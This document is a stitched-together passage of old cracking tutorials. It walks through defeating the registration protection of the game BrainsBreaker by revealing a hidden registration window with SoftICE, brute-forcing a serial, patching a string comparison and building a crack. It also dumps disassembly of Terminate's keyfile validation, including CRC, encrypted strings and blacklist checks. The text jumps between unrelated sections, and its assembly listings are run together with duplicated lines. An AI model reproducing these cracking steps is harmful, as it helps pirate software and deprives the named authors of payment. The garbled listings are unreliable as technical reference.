and now we can make a simple equation:
x=storage value 1
y=how much we must add to "key value 1" in order to make it match
storage value 1
A very nice protection scheme! First a checksum of the whole keyfile, then a checksum of the decrypted registraion
information. These values along with two other word sized values are then used to make sure that the keyfile is valid. Last but
not least is an old-cracked keyfile check which is acomplished using a check of known cracked keyfiles. These four checks
along with some code that only confuses a cracker makes this protection a very nice one!
Ok, time for some real coding. I decided to use assembler even if +Aesculapius did include an asm example. The main reason
for this was that I didnt have any other compiler than TASM that could generate win32 programs. I tried to use some other
functions and methods in order to make it a bit different from +Aseculapius's. Not much else to say about this - take a look at
the source code instead!
Indeed a fun game to play! In fact I spent about 2-3 hours just playing the game before I started to crack it. It seems like some
puzzles are only demos? Hmm, must be a nasty bug...but mr. Juan Trujillo Tarradas dont have to worry, we'll fix that for him!
We'll just go to the "enter registraion name/serial" window and crack it like any other program... yeah...right...eh..only one
problem... where is it?! At times like this I always go to the helpfile to try to find some usefull information, and look what I
found:
Once your payment is processed, you'll receive an e-mail message containing your
registration code with the instructions to enter it in the program that makes
fully playable all the puzzles (if registered the Full pack) or the puzzles in the
Entry set.
Ah...The registration window is hidden! How to find it then?
Step 1 - finding the registration window!
I choosed to disasemble the program, and searched after some well- choosen strings like "registration". I found this hit (after
disasming with Wdasm, no need to use IDA if we dont have to):
* Possible StringData Ref from Data Obj ->"Registration info. Program version "
Interesting indeed! I browsed down a bit through the code and found alot of even more interesting strings there, including
"Pack", "Name", "Your ID" and "Key:". Looks like this could be the place where we enter our registration details. Now we
want to know how we execute this code, so we browse upwards through the code. We notice that this code is called from
another location:
...
:0044B949 3D68040000 cmp eax, 00000468
:0044B94E 7F6B jg 0044B9BB
:0044B950 0F84EB080000 je 0044C241
:0044B956 05AEFBFFFF add eax, FFFFFBAE ;Same as "sub eax,452"
:0044B95B 83F813 cmp eax, 00000013
:0044B95E 0F875C0F0000 ja 0044C8C0
:0044B964 FF24856BB94400 jmp dword ptr [4*eax+0044B96B]
There, now it's pretty easy to figure out what value we need to execute our "enter registation information" call. First of all it
has to be over 450h, becuase we want to take the jump at offset 44B8AA. It must be lower than 468h because we DONT want
to take the jump at offset 44B94E or at 44B950. Substract 452 from our value, and if the result is below or equal to 13h
execute the jump at 44B964. We already know that we want eax to be 4 when the jump is beeing executed so therefor we want
eax to be 452+4=456h at offset 44B8A2 in order to bring up the registraion window. To see if this theory is correct, lets test it
in practice! Boot up the game, and put a breakpoint on cs:44B8A2 (make sure that brainsbreaker has control when you set the
breakpoint, otherwise CS wont point to brainsbreakers code). Now choose a menu item, and softice will break due to our
breakpoint. You will see that a value is moved into eax (the value depends on what menu-item we choosed). Step over the
instruction and edit the eax register using the r command. Change to value to 456 instaed and let it run...YES! The "enter
registraion information" windows pops up!
Step 2 - What pack do we want?
Ok, we got four edit fields that we must fill in, where the first one is "Pack:". Remember what the help file said? There are two
different registraion "packs", one called Entry pack and another one called Full pack so we can easily guess that we shall enter
either "full pack", "full" or something. To find out if we are right, let's enter "full pack" in the first field, and just some bogus
info in the other fields. Now we go on as we normally do when cracking a name/serial protection, set a breakpoint on a string
fetching function (GetDlgItemTextA, GetWindowTextA, hmemcpy or whatever, you know them :)) or try the breakpoint on
windows message (bmsg) way...do whatever you want, just as long as you break in, I choosed to break on the windows
message wm_gettext.
You all problaby know how to proceed from now on. Find our entered string (Full pack), and put a breakpoing on memory
range (bpr) on it and then feel the code. You'll see ALOT of "repnz scasb" function (used alot for length checking if al=0), and
a few "repz movsb functions. Just step through them, and put a new bpr everytime the string is copied. Remove an old
breakpoint only when you see that it's overwritten with something else.
If you're having trouble telling the interesting code from the uninteresting I'll give you the offset where the interesting part
begins, it's at offset 4012BD:
code will be "123O123". We find ourself at this offset once again after some more time in softice. This time the program
checks if any of the characters in the serial is '1'. If they are, replace them with a "L" instead. Our new code will be
"L23OL23". After this, each of our characters in the serial will be compared to (in order and in hex): 00,3B,0D and 0A. We
dont have to care about this because these bytes wont be found in our serial.
Geez, so much debuging and yet nothing really interesting, but fear not - we are getting there. After a while we'll land at offset
46AC55 and here is where the fun part begins.
"Hey! You only got 6 characters in the table, but the strings can be longer (and one of them in fact is)!" Calm down, That's
because something is happening after 6 bytes has been processed. Now the first byte in our "result string" (34 in our case) will
also be included the scheme. So, 34 will be xor'ed to every 7'th char in the other strings, and in our case the "username" string
will be the only one effected, as the others are too small. The result is written in the first position in the "result string", thus
removing the old value. After 6 more bytes, it does the same again , thus keeping the size of the result string to 6 bytes. When
20h (=32 dec) characters has been processed the routine is done.
Something has to be happening with these 6 bytes (why write that routine otherwise), so lets put a bpr on them. You will break
in a string comparing routine. So...this string is compared to another string! Very interesting indeed... I wonder what happends
if they matches??? let's see! Change one of the strings so it matches the other and let the program run...
YEEEEES! Program registered!
So, now all we have to do is to make the strings match...just one BIG problem...One would have thought that the string that our
"pack, username, ID" string was compared with should be constant...but this is not true! It changes everytime, so there is not a
chance to make these strings match eachother! First I thought this was some anti-cracking feature, but that is not true either. I
changed the program so it would display a little messagebox with the first bytes of the string, and I ran it without softice (for
the first time in months, softice wasnt loaded on my machine :)). No luck, it still changed! One alternative still
remains...patching!
Step 4 - Cracking it! First of all I'd like to say that I dont really like patches because one never knows what comes with a
patch. It could be a nasty checksum, or even worse - a delayed checksum. That's why I always like to find/calculate a valid
serial when cracking name/serial protections, but when you're out of ideas, I guess patching can be justified. But even if we are
going to patch, let's patch as little as we have too. We dont have to patch the first check (remember? one byte is compared to
zero...) as we can pretty easily find a serial that justifies that. As most crackers are lazy by nature (well, atleast I am :)), lets just
write a quick and dirty bruteforcer. You can find my source and the executable for it here. Run it, and we'll get the serial
125000. If our bruteforcer does what it's suppose to do we would now get by the first check by using this seriall, so let's test it!
Go back to the register window, and enter the same information as before, but change the serial to 125000. Wow! It worked!
Of course we didnt get the "thanks for registering" message, but we didnt expect that either, because the last check is still
there. For reasons that I told you about earlier we have to patch that (or spend the next couple of weeks trying to figure out a
way how to crack it without patching, but as I said - we're all lazy).
Of course the next question will be Where shall we patch? Before we can answer that we have to make sure we understand
what we want to do. In this case we want two strings to match eachother (or atleast making the program think they do). If we
investigate the comparision routine we see that the routine compares the number of bytes specified in edi. In our case edi=6
and therefor 6 bytes are compared. If we look at the code right after the comparison routine we will also see that dl is set to 1 if
the strings matches. If they dont dl is set to zero. Now we can make a small list of possible patches:
Can we change this into "mov edi,0" instead? Yes we can but the program would crash later due to a couple of "IDIV"
instructions that relies on edi not beeing zero. So where can we change edi to zero then? Look at this:
You see? The result is '$L25OOO'. Our entered serial string (somewhat transformed). The same procedure is done with the two
other encrypted strings. If the decrypted username matches the username in plain text and if the decrypted ID matches the ID
in plain text, then the program executes the registration check with the decrypted serial. The program will gladly accept it
because we have patched the last check!
Ok, I sat down one night and coded this crack. It worked great on my computer but when I tried it on another computer it
simply didnt work! Back to the drawing board again. It turned out that I was right when thinking that the 4 bytes xor string was
strange. After some more examination I found out that this value was created from a special ID which is stored in the registry.
The ID is created the first time brainsbreaker is installed and there is'nt much point in reversing the algorigthm for creating a
BrainsBreaker ID becuase it uses the "TlsGetValue" function as source. The complete ID is about 50 bytes long but only 8 of
these bytes are used to create the xor string (if you're really interested byte number 5,10,8,13,17,19,22,38 of the ID is used to
make the xorstring). That's why my crack didnt work on the other machine - when I installed BrainsBreaker for the first time a
different ID was created and thus also a different xorstring. So I sat down another night and re-coded the crack, this time for
windows as we need to access the registry. This time the crack worked like a sharm on both machines! Oh joy oh joy!
Thoughts about BrainsBreaker
This is not important for the crack, but it's never the less very interesting. I'm not sure about this but it looks like every puzzle
is a stand-alone part of the program. Every puzzle stores a number of things including the name of the author of the puzzle, if
the main program has been altered, wether this puzzle is free/demo/registered and a number of other things. My guess is that
these values (or flags) are stored directly after the mainprogram checks if it's registered or not. This way every puzzle can
check if the main program has been cracked. But we dont have to care about all of this because the crack I presented above
takes care of everything :). None of these flags are stored directly in the .exe file, instead they are stored in encrypted state. At
startup these puzzles are decrypted using different keysources but the most common seems to be "(c)J. Trujillo T." I managed
to get this info by stumbeling across a "xor [edi],al" function when the program was loading the startup screen with all the
puzzles. That of course cought my interest and I started to examine it a bit more closer.
A small hint : It's a good idea to search the deadlisting for "MessageBoxA" functions as these can give you alot of usefull
information sometimes. Fake a flag or something to make the program show the messagebox. For example I found out that
every puzzle stores if the main program has been altered or not (if it has, a value of 12345 is stored in each of the puzzles)
using this method.
But there are some things that remains a mystery for me still. I havnt been able to figure out how to bring up the
registration-window yet and you can find a few very interesting functions if you look at the dead-listing:
Addr:00487ABC Ord: 14 (000Eh) Name: __DebuggerHookData
Addr:004035BC Ord: 15 (000Fh) Name: __lockDebuggerData(void)
Addr:004035E4 Ord: 16 (0010h) Name: __unlockDebuggerData(void)
Antidebugging functions problaby but I havnt seen any marks of them. Pretty strange...
Conclusion - BrainsBreaker:
A somewhat complicated protection scheme, but nothing that we havnt seen before. The hidden registraion window is a good
idea but it's far to easy to find it using a dead-listing approach.
A little different challenge to end the strainer. Graphical reversing? Nothing I have done before but hey - let's give a try! First
of all I started by looking at the effect (wonder if anyone thought of that before me?). So, I played a puzzle (on my newly
cracked copy of BrainsBreaker) and when I connected two pieces to eachother I got a nice little sparkle effect. Ok, now we
know what we're dealing with...The main part of it is some sort of ellipse, wouldnt you say? Looking through the Win32 API
reference guide we'll try to find what function is used to draw an ellipse...and voila - we found one!
Ellipse:
The rest is pretty straight forward...Trace the call and for all interesting functions write down all the parameters for each
drawing function. This is exactly what I did, and I found out that there were three interesting drawing functions:
Ellipse
MoveToEx
LineTo
As I said, I wrote down every singel parameter to these functions and than I simply made my own little program that used the
same functions and parameters. And so, the fourth part was done! Look at the source code to see my comments on the code.
I think they will help you out more than anything I write here.
Oh, I'd like to take this opportunity to excuse my bad spaghetti-coding style...I know it's quite messy, but you should be able to
understand it if you read my comments.
87A8:231A 87A8:231A loc_77A8_231A: ; CODE XREF: Check_reginfo+C 87A8:231A mov di, offset unk_192F_5798
87A8:231D push ds 87A8:231E push di 87A8:231F lea di, [bp+var_240] 87A8:2323 push ss 87A8:2324
push di 87A8:2325 lea di, [bp+var_140] 87A8:2329 push ss 87A8:232A push di 87A8:232B mov di, offset aEu ; offset of
encrypted string 87A8:232E push cs 87A8:232F push di 87A8:2330 call @$basg$qm6Stringt1 ; Load string
87A8:2335 mov ax, 0B3ACh 87A8:2338 xor dx, dx 87A8:233A push dx 87A8:233B push ax 87A8:233C mov ax,
25D1h 87A8:233F mov dx, 0BABEh 87A8:2342 push dx 87A8:2343 push ax 87A8:2344 call
decrypt_string_and_verify_it 87A8:2349 call @$bsub$qm6Stringt1 ; compare two magic strings 87A8:234E jz
loc_77A8_2353 06, ad, 5d, 47, 17, 20, 77 87A8:2350 jmp loc_77A8_2801 this is common code sequence in Terminate it used
for decrypt strings, those paranoid developers encrypted all protection related strings. call decrypt_string_and_verify_it was
originally call sub_10F1_1A72. So, after decrypting T compares those strings and if byte sequence from terminat.exe = 06, ad,
5d, 47, 17, 20, 77 ,i.e. if Term registered , then we go here: 87A8:2353 ;
87A8:2353
87A8:2353 loc_77A8_2353: ; CODE XREF: Check_reginfo+45 j 87A8:2353 mov [bp+var_AX_MAGIC], 0FFFFh ; some
kind of "seed" 87A8:2359 mov [bp+var_DX_MAGIC], 0FFFFh ; for calc CRC 87A8:235F xor ax, ax 87A8:2361 mov
some_counter_for_CRC_calc_word, ax 87A8:2364 jmp short loc_77A8_236A 87A8:2366 ;
87A8:2366
87A8:2366 loc_77A8_2366: ; CODE XREF: Check_reginfo+180 j 87A8:2366 inc some_counter_for_CRC_calc_word?
87A8:236A 87A8:236A loc_77A8_236A: ; CODE XREF: Check_reginfo+5B j 87A8:236A mov di,
some_counter_for_CRC_calc_word? 87A8:236E mov al, [di+57A0h] 87A8:2372 push ax 87A8:2373 push
[bp+var_DX_MAGIC] 87A8:2377 push [bp+var_AX_MAGIC] 87A8:237B pop bx 87A8:237C pop dx 87A8:237D pop
cx 87A8:237E push dx 87A8:237F push bx 87A8:2380 xor bx, cx 87A8:2382 xor bh, bh 87A8:2384 shl bx, 1
87A8:2386 shl bx, 1 87A8:2388 add bx, word_192F_E320 87A8:238C mov ax, [bx] 87A8:238E mov cx, [bx+2]
87A8:2391 pop bx 87A8:2392 pop dx 87A8:2393 push cx 87A8:2394 mov cx, 8 87A8:2397 87A8:2397
loc_77A8_2397: ; CODE XREF: Check_reginfo+9 87A8:2397 shr dx, 1 87A8:2399 rcr bx, 1 87A8:239B loop
loc_77A8_2397 87A8:239D and dx, 0FFh 87A8:23A1 pop cx 87A8:23A2 xor ax, bx 87A8:23A4 mov bx, cx
87A8:23A6 xor dx, bx 87A8:23A8 mov [bp+var_AX_MAGIC], ax 87A8:23AC mov [bp+var_DX_MAGIC], dx
this code block is very often in Terminate. It checks CRC. ... ... So T calcs CRC for reginfo, which was read from terminate.exe
and then compare it with "ASCII" CRC written at offset 1615D1h-1615D9h ( it convert just calculated CRC into ASCII):
87A8:248C loc_77A8_248C: ; CODE XREF: Check_reginfo+17E j 87A8:248C mov ax, [bp+var_AX_MAGIC] 87A8:2490
mov dx, [bp+var_DX_MAGIC] 87A8:2494 xor ax, 34FFh 87A8:2497 xor dx, 12FFh 87A8:249B mov [bp+var_AX_MAGIC],
ax ; save just calculated CRC 87A8:249F mov [bp+var_DX_MAGIC], dx 87A8:24A3 lea di, [bp+var_340] 87A8:24A7 push ss
87A8:24A8 push di 87A8:24A9 push [bp+var_DX_MAGIC] 87A8:24AD push [bp+var_AX_MAGIC] 87A8:24B1 call
j_convert_32bit_to_ASCII ; originally: sub_139A_20 87A8:24B6 mov di, offset unk_192F_5870 87A8:24B9 push ds
87A8:24BA push di 87A8:24BB call @$bsub$qm6Stringt1 ; compare "ascii" crc from reginfo with just calculated 87A8:24C0
jz loc_77A8_24C5 ; = 87A8:24C2 jmp loc_77A8_27F5 ; if we go there - we have unreg. T 87A8:24C5
; 87A8:24C5
loc_77A8_24C5: ; CODE XREF: Check_reginfo+1B7 j 87A8:24C5 cmp byte_192F_587A, 0 ;if length of next 32bit "ASCII"
value 87A8:24CA jnz loc_77A8_24CF ;from reginfo doesnt = 0, then it exist 87A8:24CC jmp loc_77A8_25D4 ; and we go to
loc_77A8_24CF 87A8:24CF
; 87A8:24CF
loc_77A8_24CF: ; CODE XREF: Check_reginfo+1C1 j 87A8:24CF mov di, offset byte_192F_587A 87A8:24D2 push ds
87A8:24D3 push di 87A8:24D4 call j_Ascii_to_Hex 87A8:24D9 mov [bp+var_AX_MAGIC], ax 87A8:24DD mov
[bp+var_DX_MAGIC], dx 87A8:24E1 mov ax, [bp+var_AX_MAGIC] 87A8:24E5 mov dx, [bp+var_DX_MAGIC]
87A8:24E9 xor ax, 0FFFFh 87A8:24EC xor dx, 0D941h 87A8:24F0 mov [bp+var_AX_MAGIC], ax 87A8:24F4 mov
[bp+var_DX_MAGIC], dx 87A8:24F8 mov ax, [bp+var_AX_MAGIC] 87A8:24FC mov dx, [bp+var_DX_MAGIC]
87A8:2500 mov magic1_for_calc_xor_mask_1_word, ax 87A8:2503 mov magic2_for_calc_xor_mask_1_word, dx 87A8:2507
mov some_counter_for_CRC_calc_word?, 1 87A8:250D jmp short loc_77A8_2513 87A8:250F ;
87A8:250F loc_77A8_250F:
; CODE XREF: Check_reginfo+22E j 87A8:250F inc some_counter_for_CRC_calc_word? 87A8:2513 87A8:2513
loc_77A8_2513: ; CODE XREF: Check_reginfo+2 87A8:2513 mov ax, 100h 87A8:2516 push ax 87A8:2517 call
calc_xor_mask_1 ; part of encryption system ; this sub calculates mask for next xor operation. Originally its sub_10F1_2053
87A8:251C mov dx, ax 87A8:251E mov di, some_counter_for_CRC_calc_word 87A8:2522 mov al, [di+57A0h] ; take
encrypted byte 87A8:2526 xor ah, ah 87A8:2528 xor ax, dx ; decrypt with just calced mask 87A8:252A mov di,
some_counter_for_CRC_calc_word 87A8:252E mov [di+57A0h], al ; save decrypted byte instead encrypted one 87A8:2532
cmp some_counter_for_CRC_calc_word?, 32h ; 32h - length of one field of 87A8:2537 jnz loc_77A8_250F ; reginfo, e.g.
name. 87A8:2539 mov some_counter_for_CRC_calc_word?, 1 87A8:253F jmp short loc_77A8_2545 87A8:2541 ;
87A8:2541
loc_77A8_2541: ; CODE XREF: Check_reginfo+ 87A8:2541 inc some_counter_for_CRC_calc_word? .... and so on .... so, T
decrypts four parts of reginfo, i.e. name,addres,city,country. After that T "thinks" that its registered: 87A8:25D4
loc_77A8_25D4: ; CODE XREF: Check_reginfo+1C3 j 87A8:25D4 mov _pro_or_not_byte, 0BBh ; BB means registered
Terminate But then Terminate looks for terminat.key: 87A8:26CA loc_77A8_26CA: ; CODE XREF: Check_reginfo+3B1 j
87A8:26CA mov di, offset unk_192F_D1CC 87A8:26CD push ds 87A8:26CE push di 87A8:26CF mov di, offset
byte_192F_1806 87A8:26D2 push ds 87A8:26D3 push di 87A8:26D4 call @Assign$qm4Filem6String ; 87A8:26D9 mov di,
offset unk_192F_D1CC 87A8:26DC push ds 87A8:26DD push di 87A8:26DE mov ax, 1 87A8:26E1 push ax 87A8:26E2 call
@Reset$qm4File4Word ; open key file 87A8:26E7 call @IOResult$qv ; IOResult: Word{AX} 87A8:26EC or ax, ax
87A8:26EE jnz loc_77A8_271D 87A8:26F0 mov di, offset unk_192F_D1CC 87A8:26F3 push ds 87A8:26F4 push di
87A8:26F5 les di, dword_192F_46 87A8:26F9 push es 87A8:26FA push di 87A8:26FB mov ax, 0F41h ; read 3905 bytes of
key 87A8:26FE push ax 87A8:26FF xor ax, ax 87A8:2701 push ax 87A8:2702 push ax 87A8:2703 call
@BlockRead$qm4Filem3Any4Wordm4Word ; BlockRead 87A8:2708 mov di, offset unk_192F_D1CC 87A8:270B push ds
87A8:270C push di 87A8:270D call @Close$qm4File ; Close(var f: File) 87A8:2712 call @IOResult$qv ; IOResult:
Word{AX} 87A8:2717 mov file_pointer_word, ax 87A8:271A jmp loc_77A8_27F3 Here Terminate doesnt check key, it
simply opens it and tries to read 3905 bytes, you can put file of any content and length to Terminate directory and rename it to
"terminat.key" and Terminate won't reject it. Then Terminate returns from "Check_reginfo". Everything go to very different
way when we have unregistered Terminate: ... 87A8:2344 call decrypt_string_and_verify_it 87A8:2349 call
@$bsub$qm6Stringt1 ; compare two magic strings: 06, ad, 5d, 47, 17, 20, 77 87A8:234E jz loc_77A8_2353 ; with one which
was read from terminat.exe 87A8:2350 jmp loc_77A8_2801 ; WE GO HERE, BECAUSE TERM UNREGISTERED ; and
therefore last byte =BD, not 77 ... 87A8:2801 loc_77A8_2801: ; CODE XREF: Check_reginfo+47 j 87A8:2801 cmp
byte_192F_52, 0 ; this byte =0 by default 87A8:2806 jnz loc_77A8_280D ; it sets to 1 only in "validate_key" 87A8:2808 push
bp 87A8:2809 push cs 87A8:280A call near ptr validate_key ; originaly sub_77A8_3FD ; This is key validating sub. I'll explain
how this sub works. It decrypts "key" string, appends it to "terminat." string antd tries to open file "terminat.key": 87A8:03FD
validate_key proc far ; CODE XREF: Check_reginfo+501 p .... vars 87A8:03FD 87A8:03FD push bp 87A8:03FE mov bp, sp
87A8:0400 sub sp, 366h 87A8:0404 mov [bp+var_FLAG_1_byte], 0 87A8:0408 lea di, [bp+var_206] 87A8:040C push ss
87A8:040D push di 87A8:040E mov di, offset byte_192F_153A 87A8:0411 push ds 87A8:0412 push di 87A8:0413 call
@$basg$qm6Stringt1 ; Load string 87A8:0418 lea di, [bp+var_106] 87A8:041C push ss 87A8:041D push di 87A8:041E lea di,
[bp+var_6] 87A8:0421 push ss 87A8:0422 push di 87A8:0423 mov di, offset aZ_2 ; offset of encrypted "key" 87A8:0426 push
cs 87A8:0427 push di 87A8:0428 call @$basg$qm6Stringt1 ; Load string 87A8:042D mov ax, 79C1h 87A8:0430 xor dx, dx
87A8:0432 push dx 87A8:0433 push ax 87A8:0434 mov ax, 2D79h 87A8:0437 mov dx, 0BABEh 87A8:043A push dx
87A8:043B push ax 87A8:043C call decrypt_string_and_verify_it ; decrypt string "key" 87A8:0441 call
@Concat$qm6Stringt1 ; Concat(dst, src: String): String 87A8:0446 mov di, offset unk_192F_58EA 87A8:0449 push ds
87A8:044A push di 87A8:044B mov ax, 45h ; 'E' 87A8:044E push ax 87A8:044F call @$basg$qm6Stringt14Byte ; Store
string 87A8:0454 mov byte_192F_52, 1 87A8:0459 mov di, offset unk_192F_58EA 87A8:0454 mov byte_192F_52, 1
87A8:0459 mov di, offset unk_192F_58EA 87A8:045C push ds 87A8:045D push di 87A8:045E mov ax, 20h ; ' ' 87A8:0461
push ax 87A8:0462 mov di, offset unk_192F_BF20 87A8:0465 push ds 87A8:0466 push di 87A8:0467 call
@FindFirst$q7PathStr4Wordm9SearchRec ; FindFirst 87A8:046C cmp word_192F_E482, 0 87A8:0471 jnz loc_77A8_481
87A8:0473 mov ax, word_192F_BF3A 87A8:0476 mov dx, word_192F_BF3C 87A8:047A mov word_192F_54, ax
87A8:047D mov word_192F_56, dx 87A8:0481 loc_77A8_481: ; CODE XREF: validate_key+74 j 87A8:0481 mov di,
[bp+arg_0] 87A8:0484 add di, 0FEFEh 87A8:0488 push ss 87A8:0489 push di 87A8:048A mov di, offset unk_192F_58EA
87A8:048D push ds 87A8:048E push di 87A8:048F call @Assign$qm4Filem6String ; Assign(var f: File; name: String)
87A8:0494 mov di, [bp+arg_0] 87A8:0497 add di, 0FEFEh 87A8:049B push ss 87A8:049C push di 87A8:049D mov ax, 20h ; '
' 87A8:04A0 push ax 87A8:04A1 call @SetFAttr$qm3Any4Word ; SetFAttr(Any &,Word) 87A8:04A6 call @IOResult$qv ;
IOResult: Word{AX} 87A8:04AB mov file_pointer_word, ax 87A8:04AE mov di, [bp+arg_0] 87A8:04B1 add di, 0FEFEh
87A8:04B5 push ss 87A8:04B6 push di 87A8:04B7 mov ax, 162h 87A8:04BA push ax 87A8:04BB call
@Reset$qm4File4Word ; open "terminat.key" 87A8:04C0 call @IOResult$qv ; IOResult: Word{AX} 87A8:04C5 mov
file_pointer_word, ax ; save filepointer 87A8:04C8 cmp file_pointer_word, 0 87A8:04CD jz loc_77A8_4D2 Then it begins to
read blocks of keyfile each 162h bytes long. Before that sub clears place for keyfile's block: 87A8:04D2 loc_77A8_4D2: ;
CODE XREF: validate_key+D0 j 87A8:04D2 mov ax, 162h 87A8:04D5 push ax 87A8:04D6 call @GetMem$q4Word ; Alloc
162h bytes 87A8:04DB mov di, [bp+arg_0] 87A8:04DE mov word ptr ss:[di+var_106], ax 87A8:04E3 mov word ptr
ss:[di+var_106+2], dx 87A8:04E8 mov ss:[di+var_AX_CRC32_MAGIC], 0FFFFh ; init CRC "seed" 87A8:04EF mov
ss:[di+var_DX_CRC32_MAGIC], 0FFFFh 87A8:04F6 xor ax, ax 87A8:04F8 mov ss:[di+var_12C], ax 87A8:04FD mov
ss:[di+var_12A], ax 87A8:0502 mov keyfile_loaded_blocks_counter_word, 1 ; counter of loaded 87A8:0508 jmp short
loc_77A8_50E ; keyfile's blocks 87A8:050A ;
XREF: validate_key+16C j 87A8:056F mov di, [bp+arg_0] 87A8:0572 les di, ss:[di+var_106] 87A8:0577 mov ax, es
87A8:0579 push ax 87A8:057A mov di, some_counter_for_CRC_calc_word? 87A8:057E pop es 87A8:057F mov al,
es:[di] 87A8:0582 push ax 87A8:0583 mov di, [bp+arg_0] 87A8:0586 push ss:[di+var_DX_CRC32_MAGIC]
87A8:058B push ss:[di+var_AX_CRC32_MAGIC] 87A8:0590 pop bx 87A8:0591 pop dx 87A8:0592 pop cx 87A8:0593
push dx 87A8:0594 push bx 87A8:0595 xor bx, cx 87A8:0597 xor bh, bh 87A8:0599 shl bx, 1 87A8:059B shl bx, 1
87A8:059D add bx, word_192F_E320 87A8:05A1 mov ax, [bx] 87A8:05A3 mov cx, [bx+2] 87A8:05A6 pop bx
87A8:05A7 pop dx 87A8:05A8 push cx 87A8:05A9 mov cx, 8 calc CRC 87A8:05AC loc_77A8_5AC: ; CODE
XREF: validate_key+1B3 j 87A8:05AC shr dx, 1 87A8:05AE rcr bx, 1 87A8:05B0 loop loc_77A8_5AC 87A8:05B2 and
dx, 0FFh 87A8:05B6 pop cx 87A8:05B7 xor ax, bx 87A8:05B9 mov bx, cx 87A8:05BB xor dx, bx 87A8:05BB xor dx,
bx 87A8:05BD mov di, [bp+arg_0] 87A8:05C0 mov ss:[di+var_AX_CRC32_MAGIC], ax ; store CRC 87A8:05C5 mov
ss:[di+var_DX_CRC32_MAGIC], dx 87A8:05CA mov ax, some_counter_for_CRC_calc_word? 87A8:05CD cmp ax,
[bp+var_end_offset_of_CRC_calc?] ; enough? 87A8:05D0 jnz loc_77A8_56B ; if no, again 87A8:05D2 Block 1
checked for bytes 46h,2Fh,2Eh at offsets 0bh, 1bh , 14h because there is old keygenerator for Terminate version 1 or even
earlier (I dont remember now, I saw this keygen one day) and this keygen creates key with string at block 1 like "Terminate
HAKE-KEY for all outlaws all around the world". So now Terminate checks for this header. 87A8:05D2 loc_77A8_5D2: ;
CODE XREF: validate_key+167 j 87A8:05D2 cmp keyfile_loaded_blocks_counter_word, 1 87A8:05D7 jnz loc_77A8_63B
87A8:05D9 mov di, [bp+arg_0] 87A8:05DC les di, ss:[di+var_106] 87A8:05E1 mov ax, es 87A8:05E3 push ax 87A8:05E4
mov di, [bp+arg_0] 87A8:05E7 les di, ss:[di+var_106] 87A8:05EC seges 87A8:05EC lea di, [di+0Bh] ; here it begins to check
first block of keyfile 87A8:05F0 pop es 87A8:05F1 cmp byte ptr es:[di], 46h ; 'F' 87A8:05F5 jnz loc_77A8_638 ; 87A8:05F7
mov di, [bp+arg_0] 87A8:05FA les di, ss:[di+var_106] 87A8:05FF mov ax, es 87A8:0601 push ax 87A8:0602 mov di,
[bp+arg_0] 87A8:0605 les di, ss:[di+var_106] 87A8:060A seges 87A8:060A lea di, [di+1Bh] 87A8:060E pop es 87A8:060F
cmp byte ptr es:[di], 2Fh ; '/' 87A8:0613 jnz loc_77A8_638 87A8:0615 mov di, [bp+arg_0] 87A8:0618 les di, ss:[di+var_106]
87A8:0613 jnz loc_77A8_638 87A8:0615 mov di, [bp+arg_0] 87A8:0618 les di, ss:[di+var_106] 87A8:061D mov ax, es
87A8:061F push ax 87A8:0620 mov di, [bp+arg_0] 87A8:0623 les di, ss:[di+var_106] 87A8:0628 seges 87A8:0628 lea di,
[di+14h] 87A8:062C pop es 87A8:062D cmp byte ptr es:[di], 2Eh ; '.' 87A8:0631 jnz loc_77A8_638 87A8:0633 call
sub_2A8_4D ; here T display error msg, like "Runtime error..." ; and gives choice: reboot or return to dos 87A8:0638
loc_77A8_638: ; CODE XREF: validate_key+1F8 j validate_key+216 87A8:0638 jmp loc_77A8_8F9 Block 2: if first 5 bytes
of this block = each other , then Terminate adjusts current CRC values: 87A8:06E5 mov di, [bp+arg_0] 87A8:06E8 add
ss:[di+var_AX_CRC32_MAGIC], 329h 87A8:06EF adc ss:[di+var_DX_CRC32_MAGIC], 0 Block 4 is a core of keyfile. It
contains encrypted reginfo and several very important values. I'll explain this later. Block 5 is also very important for us. It
contains values which used to verify if key valid: 87A8:06F8 cmp keyfile_loaded_blocks_counter_word, 5 ; block 5 ?
87A8:06FD jz loc_77A8_702 ; yes 87A8:06FF jmp loc_77A8_79F 87A8:0702 ;
87A8:0702 loc_77A8_702: ; CODE XREF: validate_key+300 j 87A8:0702 mov di, [bp+arg_0] 87A8:0705 les di,
ss:[di+var_106] 87A8:070A mov ax, es:[di+15Eh] ; in AX - 16 bit value from offset 15e of block 5 87A8:070F mov dx,
es:[di+160h] ; in DX - 16 bit value from offset 160 of block 5 87A8:0714 call @Real$q7Longint ; Real(x: Longint{DX:AX}):
Real 87A8:0719 mov di, [bp+arg_0] ; call above convert 32bit value from ax:dx 87A8:071C mov ss:[di+var_temp_AX], ax ; to
48 bit real value in ax:bx:dx 87A8:0721 mov ss:[di+var_temp_BX], bx 87A8:0726 mov ss:[di+var_temp_DX], dx It was very
hard for me to understand what the hell is that, because I didn't know Pascal and that kind of floating point format. So I found
good old ;-) Turbo Pascal 6.0 for DOS, took book from friend and learned some Pascal. I wrote several smalls programms in
Pascal which use floating points numbers, perform some operations with them, and I look at these programms in IDA. It was
great help. I began to understand whats going on and how to handle those ax:bx:dx stuffs. I wrote little programm on Pascal
which convert hex values from ax,bx,dx into floating point number, and several small programs to perform math operations
with values from ax,bx,dx, i.e. I enter values1 from ax,bx,dx, then value2 from ax,bx,dx and my program returns me result as
floating point number. So I converted all such numbers from Terminate and commented them in IDA. 87A8:072B mov ax,
ss:[di+var_temp_AX] ; converted to real value 87A8:0730 mov bx, ss:[di+var_temp_BX] ; "magic" from block5 87A8:0735
mov dx, ss:[di+var_temp_DX]; will be compare 87A8:073A xor cx, cx ; with 0 87A8:073C xor si, si 87A8:073E xor di, di
87A8:0740 call @__Cmp$q4Realt1 ; So terminate checks if "magic" from block 5 is below zero 87A8:0745 jnb loc_77A8_778
; jump here if "magic" is above zero 87A8:0747 mov di, [bp+arg_0] 87A8:074A mov ax, ss:[di+var_temp_AX] ; else T gonna
change sign 87A8:074F mov bx, ss:[di+var_temp_BX] ; of that "magic" 87A8:0754 mov dx, ss:[di+var_temp_DX] 87A8:0759
mov cx, 81h ; this means -1 87A8:075C xor si, si ; 87A8:075E mov di, 8000h 87A8:0761 call @$brmul$q4Realt1 ; magic*=-1;
87A8:0766 mov di, [bp+arg_0] 87A8:0769 mov ss:[di+var_temp_AX], ax ; store "magic" 87A8:076E mov
ss:[di+var_temp_BX], bx 87A8:0773 mov ss:[di+var_temp_DX], dx 87A8:0778 loc_77A8_778: ; CODE XREF:
